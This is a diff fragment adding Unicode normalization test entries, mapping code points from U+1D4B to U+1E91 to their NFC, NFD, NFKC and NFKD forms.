+{ source: [0x1D4B], NFC: [0x1D4B], NFD: [0x1D4B], NFKC: [0x025B], NFKD: [0x025B] },
+{ source: [0x1D4C], NFC: [0x1D4C], NFD: [0x1D4C], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1D4D], NFC: [0x1D4D], NFD: [0x1D4D], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F], NFC: [0x1D4F], NFD: [0x1D4F], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D50], NFC: [0x1D50], NFD: [0x1D50], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D51], NFC: [0x1D51], NFD: [0x1D51], NFKC: [0x014B], NFKD: [0x014B] },
+{ source: [0x1D52], NFC: [0x1D52], NFD: [0x1D52], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D53], NFC: [0x1D53], NFD: [0x1D53], NFKC: [0x0254], NFKD: [0x0254] },
+{ source: [0x1D54], NFC: [0x1D54], NFD: [0x1D54], NFKC: [0x1D16], NFKD: [0x1D16] },
+{ source: [0x1D55], NFC: [0x1D55], NFD: [0x1D55], NFKC: [0x1D17], NFKD: [0x1D17] },
+{ source: [0x1D56], NFC: [0x1D56], NFD: [0x1D56], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D57], NFC: [0x1D57], NFD: [0x1D57], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D58], NFC: [0x1D58], NFD: [0x1D58], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59], NFC: [0x1D59], NFD: [0x1D59], NFKC: [0x1D1D], NFKD: [0x1D1D] },
+{ source: [0x1D5A], NFC: [0x1D5A], NFD: [0x1D5A], NFKC: [0x026F], NFKD: [0x026F] },
+{ source: [0x1D5B], NFC: [0x1D5B], NFD: [0x1D5B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5C], NFC: [0x1D5C], NFD: [0x1D5C], NFKC: [0x1D25], NFKD: [0x1D25] },
+{ source: [0x1D5D], NFC: [0x1D5D], NFD: [0x1D5D], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D5E], NFC: [0x1D5E], NFD: [0x1D5E], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D5F], NFC: [0x1D5F], NFD: [0x1D5F], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D60], NFC: [0x1D60], NFD: [0x1D60], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D61], NFC: [0x1D61], NFD: [0x1D61], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D62], NFC: [0x1D62], NFD: [0x1D62], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D63], NFC: [0x1D63], NFD: [0x1D63], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D64], NFC: [0x1D64], NFD: [0x1D64], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D65], NFC: [0x1D65], NFD: [0x1D65], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66], NFC: [0x1D66], NFD: [0x1D66], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D67], NFC: [0x1D67], NFD: [0x1D67], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D68], NFC: [0x1D68], NFD: [0x1D68], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D69], NFC: [0x1D69], NFD: [0x1D69], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6A], NFC: [0x1D6A], NFD: [0x1D6A], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D78], NFC: [0x1D78], NFD: [0x1D78], NFKC: [0x043D], NFKD: [0x043D] },
+{ source: [0x1D9B], NFC: [0x1D9B], NFD: [0x1D9B], NFKC: [0x0252], NFKD: [0x0252] },
+{ source: [0x1D9C], NFC: [0x1D9C], NFD: [0x1D9C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D9D], NFC: [0x1D9D], NFD: [0x1D9D], NFKC: [0x0255], NFKD: [0x0255] },
+{ source: [0x1D9E], NFC: [0x1D9E], NFD: [0x1D9E], NFKC: [0x00F0], NFKD: [0x00F0] },
+{ source: [0x1D9F], NFC: [0x1D9F], NFD: [0x1D9F], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1DA0], NFC: [0x1DA0], NFD: [0x1DA0], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1DA1], NFC: [0x1DA1], NFD: [0x1DA1], NFKC: [0x025F], NFKD: [0x025F] },
+{ source: [0x1DA2], NFC: [0x1DA2], NFD: [0x1DA2], NFKC: [0x0261], NFKD: [0x0261] },
+{ source: [0x1DA3], NFC: [0x1DA3], NFD: [0x1DA3], NFKC: [0x0265], NFKD: [0x0265] },
+{ source: [0x1DA4], NFC: [0x1DA4], NFD: [0x1DA4], NFKC: [0x0268], NFKD: [0x0268] },
+{ source: [0x1DA5], NFC: [0x1DA5], NFD: [0x1DA5], NFKC: [0x0269], NFKD: [0x0269] },
+{ source: [0x1DA6], NFC: [0x1DA6], NFD: [0x1DA6], NFKC: [0x026A], NFKD: [0x026A] },
+{ source: [0x1DA7], NFC: [0x1DA7], NFD: [0x1DA7], NFKC: [0x1D7B], NFKD: [0x1D7B] },
+{ source: [0x1DA8], NFC: [0x1DA8], NFD: [0x1DA8], NFKC: [0x029D], NFKD: [0x029D] },
+{ source: [0x1DA9], NFC: [0x1DA9], NFD: [0x1DA9], NFKC: [0x026D], NFKD: [0x026D] },
+{ source: [0x1DAA], NFC: [0x1DAA], NFD: [0x1DAA], NFKC: [0x1D85], NFKD: [0x1D85] },
+{ source: [0x1DAB], NFC: [0x1DAB], NFD: [0x1DAB], NFKC: [0x029F], NFKD: [0x029F] },
+{ source: [0x1DAC], NFC: [0x1DAC], NFD: [0x1DAC], NFKC: [0x0271], NFKD: [0x0271] },
+{ source: [0x1DAD], NFC: [0x1DAD], NFD: [0x1DAD], NFKC: [0x0270], NFKD: [0x0270] },
+{ source: [0x1DAE], NFC: [0x1DAE], NFD: [0x1DAE], NFKC: [0x0272], NFKD: [0x0272] },
+{ source: [0x1DAF], NFC: [0x1DAF], NFD: [0x1DAF], NFKC: [0x0273], NFKD: [0x0273] },
+{ source: [0x1DB0], NFC: [0x1DB0], NFD: [0x1DB0], NFKC: [0x0274], NFKD: [0x0274] },
+{ source: [0x1DB1], NFC: [0x1DB1], NFD: [0x1DB1], NFKC: [0x0275], NFKD: [0x0275] },
+{ source: [0x1DB2], NFC: [0x1DB2], NFD: [0x1DB2], NFKC: [0x0278], NFKD: [0x0278] },
+{ source: [0x1DB3], NFC: [0x1DB3], NFD: [0x1DB3], NFKC: [0x0282], NFKD: [0x0282] },
+{ source: [0x1DB4], NFC: [0x1DB4], NFD: [0x1DB4], NFKC: [0x0283], NFKD: [0x0283] },
+{ source: [0x1DB5], NFC: [0x1DB5], NFD: [0x1DB5], NFKC: [0x01AB], NFKD: [0x01AB] },
+{ source: [0x1DB6], NFC: [0x1DB6], NFD: [0x1DB6], NFKC: [0x0289], NFKD: [0x0289] },
+{ source: [0x1DB7], NFC: [0x1DB7], NFD: [0x1DB7], NFKC: [0x028A], NFKD: [0x028A] },
+{ source: [0x1DB8], NFC: [0x1DB8], NFD: [0x1DB8], NFKC: [0x1D1C], NFKD: [0x1D1C] },
+{ source: [0x1DB9], NFC: [0x1DB9], NFD: [0x1DB9], NFKC: [0x028B], NFKD: [0x028B] },
+{ source: [0x1DBA], NFC: [0x1DBA], NFD: [0x1DBA], NFKC: [0x028C], NFKD: [0x028C] },
+{ source: [0x1DBB], NFC: [0x1DBB], NFD: [0x1DBB], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1DBC], NFC: [0x1DBC], NFD: [0x1DBC], NFKC: [0x0290], NFKD: [0x0290] },
+{ source: [0x1DBD], NFC: [0x1DBD], NFD: [0x1DBD], NFKC: [0x0291], NFKD: [0x0291] },
+{ source: [0x1DBE], NFC: [0x1DBE], NFD: [0x1DBE], NFKC: [0x0292], NFKD: [0x0292] },
+{ source: [0x1DBF], NFC: [0x1DBF], NFD: [0x1DBF], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1E00], NFC: [0x1E00], NFD: [0x0041, 0x0325], NFKC: [0x1E00], NFKD: [0x0041, 0x0325] },
+{ source: [0x1E01], NFC: [0x1E01], NFD: [0x0061, 0x0325], NFKC: [0x1E01], NFKD: [0x0061, 0x0325] },
+{ source: [0x1E02], NFC: [0x1E02], NFD: [0x0042, 0x0307], NFKC: [0x1E02], NFKD: [0x0042, 0x0307] },
+{ source: [0x1E03], NFC: [0x1E03], NFD: [0x0062, 0x0307], NFKC: [0x1E03], NFKD: [0x0062, 0x0307] },
+{ source: [0x1E04], NFC: [0x1E04], NFD: [0x0042, 0x0323], NFKC: [0x1E04], NFKD: [0x0042, 0x0323] },
+{ source: [0x1E05], NFC: [0x1E05], NFD: [0x0062, 0x0323], NFKC: [0x1E05], NFKD: [0x0062, 0x0323] },
+{ source: [0x1E06], NFC: [0x1E06], NFD: [0x0042, 0x0331], NFKC: [0x1E06], NFKD: [0x0042, 0x0331] },
+{ source: [0x1E07], NFC: [0x1E07], NFD: [0x0062, 0x0331], NFKC: [0x1E07], NFKD: [0x0062, 0x0331] },
+{ source: [0x1E08], NFC: [0x1E08], NFD: [0x0043, 0x0327, 0x0301], NFKC: [0x1E08], NFKD: [0x0043, 0x0327, 0x0301] },
+{ source: [0x1E09], NFC: [0x1E09], NFD: [0x0063, 0x0327, 0x0301], NFKC: [0x1E09], NFKD: [0x0063, 0x0327, 0x0301] },
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0B], NFC: [0x1E0B], NFD: [0x0064, 0x0307], NFKC: [0x1E0B], NFKD: [0x0064, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0D], NFC: [0x1E0D], NFD: [0x0064, 0x0323], NFKC: [0x1E0D], NFKD: [0x0064, 0x0323] },
+{ source: [0x1E0E], NFC: [0x1E0E], NFD: [0x0044, 0x0331], NFKC: [0x1E0E], NFKD: [0x0044, 0x0331] },
+{ source: [0x1E0F], NFC: [0x1E0F], NFD: [0x0064, 0x0331], NFKC: [0x1E0F], NFKD: [0x0064, 0x0331] },
+{ source: [0x1E10], NFC: [0x1E10], NFD: [0x0044, 0x0327], NFKC: [0x1E10], NFKD: [0x0044, 0x0327] },
+{ source: [0x1E11], NFC: [0x1E11], NFD: [0x0064, 0x0327], NFKC: [0x1E11], NFKD: [0x0064, 0x0327] },
+{ source: [0x1E12], NFC: [0x1E12], NFD: [0x0044, 0x032D], NFKC: [0x1E12], NFKD: [0x0044, 0x032D] },
+{ source: [0x1E13], NFC: [0x1E13], NFD: [0x0064, 0x032D], NFKC: [0x1E13], NFKD: [0x0064, 0x032D] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E15], NFC: [0x1E15], NFD: [0x0065, 0x0304, 0x0300], NFKC: [0x1E15], NFKD: [0x0065, 0x0304, 0x0300] },
+{ source: [0x1E16], NFC: [0x1E16], NFD: [0x0045, 0x0304, 0x0301], NFKC: [0x1E16], NFKD: [0x0045, 0x0304, 0x0301] },
+{ source: [0x1E17], NFC: [0x1E17], NFD: [0x0065, 0x0304, 0x0301], NFKC: [0x1E17], NFKD: [0x0065, 0x0304, 0x0301] },
+{ source: [0x1E18], NFC: [0x1E18], NFD: [0x0045, 0x032D], NFKC: [0x1E18], NFKD: [0x0045, 0x032D] },
+{ source: [0x1E19], NFC: [0x1E19], NFD: [0x0065, 0x032D], NFKC: [0x1E19], NFKD: [0x0065, 0x032D] },
+{ source: [0x1E1A], NFC: [0x1E1A], NFD: [0x0045, 0x0330], NFKC: [0x1E1A], NFKD: [0x0045, 0x0330] },
+{ source: [0x1E1B], NFC: [0x1E1B], NFD: [0x0065, 0x0330], NFKC: [0x1E1B], NFKD: [0x0065, 0x0330] },
+{ source: [0x1E1C], NFC: [0x1E1C], NFD: [0x0045, 0x0327, 0x0306], NFKC: [0x1E1C], NFKD: [0x0045, 0x0327, 0x0306] },
+{ source: [0x1E1D], NFC: [0x1E1D], NFD: [0x0065, 0x0327, 0x0306], NFKC: [0x1E1D], NFKD: [0x0065, 0x0327, 0x0306] },
+{ source: [0x1E1E], NFC: [0x1E1E], NFD: [0x0046, 0x0307], NFKC: [0x1E1E], NFKD: [0x0046, 0x0307] },
+{ source: [0x1E1F], NFC: [0x1E1F], NFD: [0x0066, 0x0307], NFKC: [0x1E1F], NFKD: [0x0066, 0x0307] },
+{ source: [0x1E20], NFC: [0x1E20], NFD: [0x0047, 0x0304], NFKC: [0x1E20], NFKD: [0x0047, 0x0304] },
+{ source: [0x1E21], NFC: [0x1E21], NFD: [0x0067, 0x0304], NFKC: [0x1E21], NFKD: [0x0067, 0x0304] },
+{ source: [0x1E22], NFC: [0x1E22], NFD: [0x0048, 0x0307], NFKC: [0x1E22], NFKD: [0x0048, 0x0307] },
+{ source: [0x1E23], NFC: [0x1E23], NFD: [0x0068, 0x0307], NFKC: [0x1E23], NFKD: [0x0068, 0x0307] },
+{ source: [0x1E24], NFC: [0x1E24], NFD: [0x0048, 0x0323], NFKC: [0x1E24], NFKD: [0x0048, 0x0323] },
+{ source: [0x1E25], NFC: [0x1E25], NFD: [0x0068, 0x0323], NFKC: [0x1E25], NFKD: [0x0068, 0x0323] },
+{ source: [0x1E26], NFC: [0x1E26], NFD: [0x0048, 0x0308], NFKC: [0x1E26], NFKD: [0x0048, 0x0308] },
+{ source: [0x1E27], NFC: [0x1E27], NFD: [0x0068, 0x0308], NFKC: [0x1E27], NFKD: [0x0068, 0x0308] },
+{ source: [0x1E28], NFC: [0x1E28], NFD: [0x0048, 0x0327], NFKC: [0x1E28], NFKD: [0x0048, 0x0327] },
+{ source: [0x1E29], NFC: [0x1E29], NFD: [0x0068, 0x0327], NFKC: [0x1E29], NFKD: [0x0068, 0x0327] },
+{ source: [0x1E2A], NFC: [0x1E2A], NFD: [0x0048, 0x032E], NFKC: [0x1E2A], NFKD: [0x0048, 0x032E] },
+{ source: [0x1E2B], NFC: [0x1E2B], NFD: [0x0068, 0x032E], NFKC: [0x1E2B], NFKD: [0x0068, 0x032E] },
+{ source: [0x1E2C], NFC: [0x1E2C], NFD: [0x0049, 0x0330], NFKC: [0x1E2C], NFKD: [0x0049, 0x0330] },
+{ source: [0x1E2D], NFC: [0x1E2D], NFD: [0x0069, 0x0330], NFKC: [0x1E2D], NFKD: [0x0069, 0x0330] },
+{ source: [0x1E2E], NFC: [0x1E2E], NFD: [0x0049, 0x0308, 0x0301], NFKC: [0x1E2E], NFKD: [0x0049, 0x0308, 0x0301] },
+{ source: [0x1E2F], NFC: [0x1E2F], NFD: [0x0069, 0x0308, 0x0301], NFKC: [0x1E2F], NFKD: [0x0069, 0x0308, 0x0301] },
+{ source: [0x1E30], NFC: [0x1E30], NFD: [0x004B, 0x0301], NFKC: [0x1E30], NFKD: [0x004B, 0x0301] },
+{ source: [0x1E31], NFC: [0x1E31], NFD: [0x006B, 0x0301], NFKC: [0x1E31], NFKD: [0x006B, 0x0301] },
+{ source: [0x1E32], NFC: [0x1E32], NFD: [0x004B, 0x0323], NFKC: [0x1E32], NFKD: [0x004B, 0x0323] },
+{ source: [0x1E33], NFC: [0x1E33], NFD: [0x006B, 0x0323], NFKC: [0x1E33], NFKD: [0x006B, 0x0323] },
+{ source: [0x1E34], NFC: [0x1E34], NFD: [0x004B, 0x0331], NFKC: [0x1E34], NFKD: [0x004B, 0x0331] },
+{ source: [0x1E35], NFC: [0x1E35], NFD: [0x006B, 0x0331], NFKC: [0x1E35], NFKD: [0x006B, 0x0331] },
+{ source: [0x1E36], NFC: [0x1E36], NFD: [0x004C, 0x0323], NFKC: [0x1E36], NFKD: [0x004C, 0x0323] },
+{ source: [0x1E37], NFC: [0x1E37], NFD: [0x006C, 0x0323], NFKC: [0x1E37], NFKD: [0x006C, 0x0323] },
+{ source: [0x1E38], NFC: [0x1E38], NFD: [0x004C, 0x0323, 0x0304], NFKC: [0x1E38], NFKD: [0x004C, 0x0323, 0x0304] },
+{ source: [0x1E39], NFC: [0x1E39], NFD: [0x006C, 0x0323, 0x0304], NFKC: [0x1E39], NFKD: [0x006C, 0x0323, 0x0304] },
+{ source: [0x1E3A], NFC: [0x1E3A], NFD: [0x004C, 0x0331], NFKC: [0x1E3A], NFKD: [0x004C, 0x0331] },
+{ source: [0x1E3B], NFC: [0x1E3B], NFD: [0x006C, 0x0331], NFKC: [0x1E3B], NFKD: [0x006C, 0x0331] },
+{ source: [0x1E3C], NFC: [0x1E3C], NFD: [0x004C, 0x032D], NFKC: [0x1E3C], NFKD: [0x004C, 0x032D] },
+{ source: [0x1E3D], NFC: [0x1E3D], NFD: [0x006C, 0x032D], NFKC: [0x1E3D], NFKD: [0x006C, 0x032D] },
+{ source: [0x1E3E], NFC: [0x1E3E], NFD: [0x004D, 0x0301], NFKC: [0x1E3E], NFKD: [0x004D, 0x0301] },
+{ source: [0x1E3F], NFC: [0x1E3F], NFD: [0x006D, 0x0301], NFKC: [0x1E3F], NFKD: [0x006D, 0x0301] },
+{ source: [0x1E40], NFC: [0x1E40], NFD: [0x004D, 0x0307], NFKC: [0x1E40], NFKD: [0x004D, 0x0307] },
+{ source: [0x1E41], NFC: [0x1E41], NFD: [0x006D, 0x0307], NFKC: [0x1E41], NFKD: [0x006D, 0x0307] },
+{ source: [0x1E42], NFC: [0x1E42], NFD: [0x004D, 0x0323], NFKC: [0x1E42], NFKD: [0x004D, 0x0323] },
+{ source: [0x1E43], NFC: [0x1E43], NFD: [0x006D, 0x0323], NFKC: [0x1E43], NFKD: [0x006D, 0x0323] },
+{ source: [0x1E44], NFC: [0x1E44], NFD: [0x004E, 0x0307], NFKC: [0x1E44], NFKD: [0x004E, 0x0307] },
+{ source: [0x1E45], NFC: [0x1E45], NFD: [0x006E, 0x0307], NFKC: [0x1E45], NFKD: [0x006E, 0x0307] },
+{ source: [0x1E46], NFC: [0x1E46], NFD: [0x004E, 0x0323], NFKC: [0x1E46], NFKD: [0x004E, 0x0323] },
+{ source: [0x1E47], NFC: [0x1E47], NFD: [0x006E, 0x0323], NFKC: [0x1E47], NFKD: [0x006E, 0x0323] },
+{ source: [0x1E48], NFC: [0x1E48], NFD: [0x004E, 0x0331], NFKC: [0x1E48], NFKD: [0x004E, 0x0331] },
+{ source: [0x1E49], NFC: [0x1E49], NFD: [0x006E, 0x0331], NFKC: [0x1E49], NFKD: [0x006E, 0x0331] },
+{ source: [0x1E4A], NFC: [0x1E4A], NFD: [0x004E, 0x032D], NFKC: [0x1E4A], NFKD: [0x004E, 0x032D] },
+{ source: [0x1E4B], NFC: [0x1E4B], NFD: [0x006E, 0x032D], NFKC: [0x1E4B], NFKD: [0x006E, 0x032D] },
+{ source: [0x1E4C], NFC: [0x1E4C], NFD: [0x004F, 0x0303, 0x0301], NFKC: [0x1E4C], NFKD: [0x004F, 0x0303, 0x0301] },
+{ source: [0x1E4D], NFC: [0x1E4D], NFD: [0x006F, 0x0303, 0x0301], NFKC: [0x1E4D], NFKD: [0x006F, 0x0303, 0x0301] },
+{ source: [0x1E4E], NFC: [0x1E4E], NFD: [0x004F, 0x0303, 0x0308], NFKC: [0x1E4E], NFKD: [0x004F, 0x0303, 0x0308] },
+{ source: [0x1E4F], NFC: [0x1E4F], NFD: [0x006F, 0x0303, 0x0308], NFKC: [0x1E4F], NFKD: [0x006F, 0x0303, 0x0308] },
+{ source: [0x1E50], NFC: [0x1E50], NFD: [0x004F, 0x0304, 0x0300], NFKC: [0x1E50], NFKD: [0x004F, 0x0304, 0x0300] },
+{ source: [0x1E51], NFC: [0x1E51], NFD: [0x006F, 0x0304, 0x0300], NFKC: [0x1E51], NFKD: [0x006F, 0x0304, 0x0300] },
+{ source: [0x1E52], NFC: [0x1E52], NFD: [0x004F, 0x0304, 0x0301], NFKC: [0x1E52], NFKD: [0x004F, 0x0304, 0x0301] },
+{ source: [0x1E53], NFC: [0x1E53], NFD: [0x006F, 0x0304, 0x0301], NFKC: [0x1E53], NFKD: [0x006F, 0x0304, 0x0301] },
+{ source: [0x1E54], NFC: [0x1E54], NFD: [0x0050, 0x0301], NFKC: [0x1E54], NFKD: [0x0050, 0x0301] },
+{ source: [0x1E55], NFC: [0x1E55], NFD: [0x0070, 0x0301], NFKC: [0x1E55], NFKD: [0x0070, 0x0301] },
+{ source: [0x1E56], NFC: [0x1E56], NFD: [0x0050, 0x0307], NFKC: [0x1E56], NFKD: [0x0050, 0x0307] },
+{ source: [0x1E57], NFC: [0x1E57], NFD: [0x0070, 0x0307], NFKC: [0x1E57], NFKD: [0x0070, 0x0307] },
+{ source: [0x1E58], NFC: [0x1E58], NFD: [0x0052, 0x0307], NFKC: [0x1E58], NFKD: [0x0052, 0x0307] },
+{ source: [0x1E59], NFC: [0x1E59], NFD: [0x0072, 0x0307], NFKC: [0x1E59], NFKD: [0x0072, 0x0307] },
+{ source: [0x1E5A], NFC: [0x1E5A], NFD: [0x0052, 0x0323], NFKC: [0x1E5A], NFKD: [0x0052, 0x0323] },
+{ source: [0x1E5B], NFC: [0x1E5B], NFD: [0x0072, 0x0323], NFKC: [0x1E5B], NFKD: [0x0072, 0x0323] },
+{ source: [0x1E5C], NFC: [0x1E5C], NFD: [0x0052, 0x0323, 0x0304], NFKC: [0x1E5C], NFKD: [0x0052, 0x0323, 0x0304] },
+{ source: [0x1E5D], NFC: [0x1E5D], NFD: [0x0072, 0x0323, 0x0304], NFKC: [0x1E5D], NFKD: [0x0072, 0x0323, 0x0304] },
+{ source: [0x1E5E], NFC: [0x1E5E], NFD: [0x0052, 0x0331], NFKC: [0x1E5E], NFKD: [0x0052, 0x0331] },
+{ source: [0x1E5F], NFC: [0x1E5F], NFD: [0x0072, 0x0331], NFKC: [0x1E5F], NFKD: [0x0072, 0x0331] },
+{ source: [0x1E60], NFC: [0x1E60], NFD: [0x0053, 0x0307], NFKC: [0x1E60], NFKD: [0x0053, 0x0307] },
+{ source: [0x1E61], NFC: [0x1E61], NFD: [0x0073, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1E62], NFC: [0x1E62], NFD: [0x0053, 0x0323], NFKC: [0x1E62], NFKD: [0x0053, 0x0323] },
+{ source: [0x1E63], NFC: [0x1E63], NFD: [0x0073, 0x0323], NFKC: [0x1E63], NFKD: [0x0073, 0x0323] },
+{ source: [0x1E64], NFC: [0x1E64], NFD: [0x0053, 0x0301, 0x0307], NFKC: [0x1E64], NFKD: [0x0053, 0x0301, 0x0307] },
+{ source: [0x1E65], NFC: [0x1E65], NFD: [0x0073, 0x0301, 0x0307], NFKC: [0x1E65], NFKD: [0x0073, 0x0301, 0x0307] },
+{ source: [0x1E66], NFC: [0x1E66], NFD: [0x0053, 0x030C, 0x0307], NFKC: [0x1E66], NFKD: [0x0053, 0x030C, 0x0307] },
+{ source: [0x1E67], NFC: [0x1E67], NFD: [0x0073, 0x030C, 0x0307], NFKC: [0x1E67], NFKD: [0x0073, 0x030C, 0x0307] },
+{ source: [0x1E68], NFC: [0x1E68], NFD: [0x0053, 0x0323, 0x0307], NFKC: [0x1E68], NFKD: [0x0053, 0x0323, 0x0307] },
+{ source: [0x1E69], NFC: [0x1E69], NFD: [0x0073, 0x0323, 0x0307], NFKC: [0x1E69], NFKD: [0x0073, 0x0323, 0x0307] },
+{ source: [0x1E6A], NFC: [0x1E6A], NFD: [0x0054, 0x0307], NFKC: [0x1E6A], NFKD: [0x0054, 0x0307] },
+{ source: [0x1E6B], NFC: [0x1E6B], NFD: [0x0074, 0x0307], NFKC: [0x1E6B], NFKD: [0x0074, 0x0307] },
+{ source: [0x1E6C], NFC: [0x1E6C], NFD: [0x0054, 0x0323], NFKC: [0x1E6C], NFKD: [0x0054, 0x0323] },
+{ source: [0x1E6D], NFC: [0x1E6D], NFD: [0x0074, 0x0323], NFKC: [0x1E6D], NFKD: [0x0074, 0x0323] },
+{ source: [0x1E6E], NFC: [0x1E6E], NFD: [0x0054, 0x0331], NFKC: [0x1E6E], NFKD: [0x0054, 0x0331] },
+{ source: [0x1E6F], NFC: [0x1E6F], NFD: [0x0074, 0x0331], NFKC: [0x1E6F], NFKD: [0x0074, 0x0331] },
+{ source: [0x1E70], NFC: [0x1E70], NFD: [0x0054, 0x032D], NFKC: [0x1E70], NFKD: [0x0054, 0x032D] },
+{ source: [0x1E71], NFC: [0x1E71], NFD: [0x0074, 0x032D], NFKC: [0x1E71], NFKD: [0x0074, 0x032D] },
+{ source: [0x1E72], NFC: [0x1E72], NFD: [0x0055, 0x0324], NFKC: [0x1E72], NFKD: [0x0055, 0x0324] },
+{ source: [0x1E73], NFC: [0x1E73], NFD: [0x0075, 0x0324], NFKC: [0x1E73], NFKD: [0x0075, 0x0324] },
+{ source: [0x1E74], NFC: [0x1E74], NFD: [0x0055, 0x0330], NFKC: [0x1E74], NFKD: [0x0055, 0x0330] },
+{ source: [0x1E75], NFC: [0x1E75], NFD: [0x0075, 0x0330], NFKC: [0x1E75], NFKD: [0x0075, 0x0330] },
+{ source: [0x1E76], NFC: [0x1E76], NFD: [0x0055, 0x032D], NFKC: [0x1E76], NFKD: [0x0055, 0x032D] },
+{ source: [0x1E77], NFC: [0x1E77], NFD: [0x0075, 0x032D], NFKC: [0x1E77], NFKD: [0x0075, 0x032D] },
+{ source: [0x1E78], NFC: [0x1E78], NFD: [0x0055, 0x0303, 0x0301], NFKC: [0x1E78], NFKD: [0x0055, 0x0303, 0x0301] },
+{ source: [0x1E79], NFC: [0x1E79], NFD: [0x0075, 0x0303, 0x0301], NFKC: [0x1E79], NFKD: [0x0075, 0x0303, 0x0301] },
+{ source: [0x1E7A], NFC: [0x1E7A], NFD: [0x0055, 0x0304, 0x0308], NFKC: [0x1E7A], NFKD: [0x0055, 0x0304, 0x0308] },
+{ source: [0x1E7B], NFC: [0x1E7B], NFD: [0x0075, 0x0304, 0x0308], NFKC: [0x1E7B], NFKD: [0x0075, 0x0304, 0x0308] },
+{ source: [0x1E7C], NFC: [0x1E7C], NFD: [0x0056, 0x0303], NFKC: [0x1E7C], NFKD: [0x0056, 0x0303] },
+{ source: [0x1E7D], NFC: [0x1E7D], NFD: [0x0076, 0x0303], NFKC: [0x1E7D], NFKD: [0x0076, 0x0303] },
+{ source: [0x1E7E], NFC: [0x1E7E], NFD: [0x0056, 0x0323], NFKC: [0x1E7E], NFKD: [0x0056, 0x0323] },
+{ source: [0x1E7F], NFC: [0x1E7F], NFD: [0x0076, 0x0323], NFKC: [0x1E7F], NFKD: [0x0076, 0x0323] },
+{ source: [0x1E80], NFC: [0x1E80], NFD: [0x0057, 0x0300], NFKC: [0x1E80], NFKD: [0x0057, 0x0300] },
+{ source: [0x1E81], NFC: [0x1E81], NFD: [0x0077, 0x0300], NFKC: [0x1E81], NFKD: [0x0077, 0x0300] },
+{ source: [0x1E82], NFC: [0x1E82], NFD: [0x0057, 0x0301], NFKC: [0x1E82], NFKD: [0x0057, 0x0301] },
+{ source: [0x1E83], NFC: [0x1E83], NFD: [0x0077, 0x0301], NFKC: [0x1E83], NFKD: [0x0077, 0x0301] },
+{ source: [0x1E84], NFC: [0x1E84], NFD: [0x0057, 0x0308], NFKC: [0x1E84], NFKD: [0x0057, 0x0308] },
+{ source: [0x1E85], NFC: [0x1E85], NFD: [0x0077, 0x0308], NFKC: [0x1E85], NFKD: [0x0077, 0x0308] },
+{ source: [0x1E86], NFC: [0x1E86], NFD: [0x0057, 0x0307], NFKC: [0x1E86], NFKD: [0x0057, 0x0307] },
+{ source: [0x1E87], NFC: [0x1E87], NFD: [0x0077, 0x0307], NFKC: [0x1E87], NFKD: [0x0077, 0x0307] },
+{ source: [0x1E88], NFC: [0x1E88], NFD: [0x0057, 0x0323], NFKC: [0x1E88], NFKD: [0x0057, 0x0323] },
+{ source: [0x1E89], NFC: [0x1E89], NFD: [0x0077, 0x0323], NFKC: [0x1E89], NFKD: [0x0077, 0x0323] },
+{ source: [0x1E8A], NFC: [0x1E8A], NFD: [0x0058, 0x0307], NFKC: [0x1E8A], NFKD: [0x0058, 0x0307] },
+{ source: [0x1E8B], NFC: [0x1E8B], NFD: [0x0078, 0x0307], NFKC: [0x1E8B], NFKD: [0x0078, 0x0307] },
+{ source: [0x1E8C], NFC: [0x1E8C], NFD: [0x0058, 0x0308], NFKC: [0x1E8C], NFKD: [0x0058, 0x0308] },
+{ source: [0x1E8D], NFC: [0x1E8D], NFD: [0x0078, 0x0308], NFKC: [0x1E8D], NFKD: [0x0078, 0x0308] },
+{ source: [0x1E8E], NFC: [0x1E8E], NFD: [0x0059, 0x0307], NFKC: [0x1E8E], NFKD: [0x0059, 0x0307] },
+{ source: [0x1E8F], NFC: [0x1E8F], NFD: [0x0079, 0x0307], NFKC: [0x1E8F], NFKD: [0x0079, 0x0307] },
+{ source: [0x1E90], NFC: [0x1E90], NFD: [0x005A, 0x0302], NFKC: [0x1E90], NFKD: [0x005A, 0x0302] },
+{ source: [0x1E91], NFC: [0x1E91], NFD: [0x007A, 0x0302], NFKC: [0x1E91], NFKD: [0x007A, 0x0302] },
